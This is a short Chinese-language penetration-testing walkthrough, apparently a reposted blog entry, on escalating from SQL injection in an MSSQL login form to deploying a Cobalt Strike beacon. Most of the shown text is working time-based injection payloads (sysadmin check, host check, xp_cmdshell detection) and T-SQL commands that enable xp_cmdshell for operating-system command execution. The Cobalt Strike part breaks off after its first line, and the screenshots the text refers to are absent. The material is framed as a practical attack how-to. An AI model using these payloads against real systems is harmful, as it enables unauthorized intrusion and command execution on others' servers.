【实战篇】从mssql注入到上线CobaltStrike

2023-08-29 13:27| 来源: 网络整理| 查看: 265

Part.1

mssql注入

首先打开目标是一个登陆界面：

通过burp抓包，发现登陆口存在sql注入：

尝试延时注入，成功：

判断是否为dba权限（也可用sqlmap的–is-dba判断>）：

action=login&name=admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--&psw=admin

判断是否为站库分离：

uname=test';if(host_name()=@@servername)WAITFOR DELAY '0:0:5';--

检查是否开启xp_cmdshell：

action=login&name=admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'--&psw=admin

响应包出现延时，可以执行系统命令~

如果没有开启，通过以下命令开启：

（1）恢复／删除xp_cmdshell exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' exec sp_dropextendedproc 'xplog70.dll' （2）# 关闭xp_cmdshell EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',0; RECONFIGURE; （3）# 启用xp_cmdshell EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

Part.2

上线Cobalt Strike

首先打开Cobalt Strike：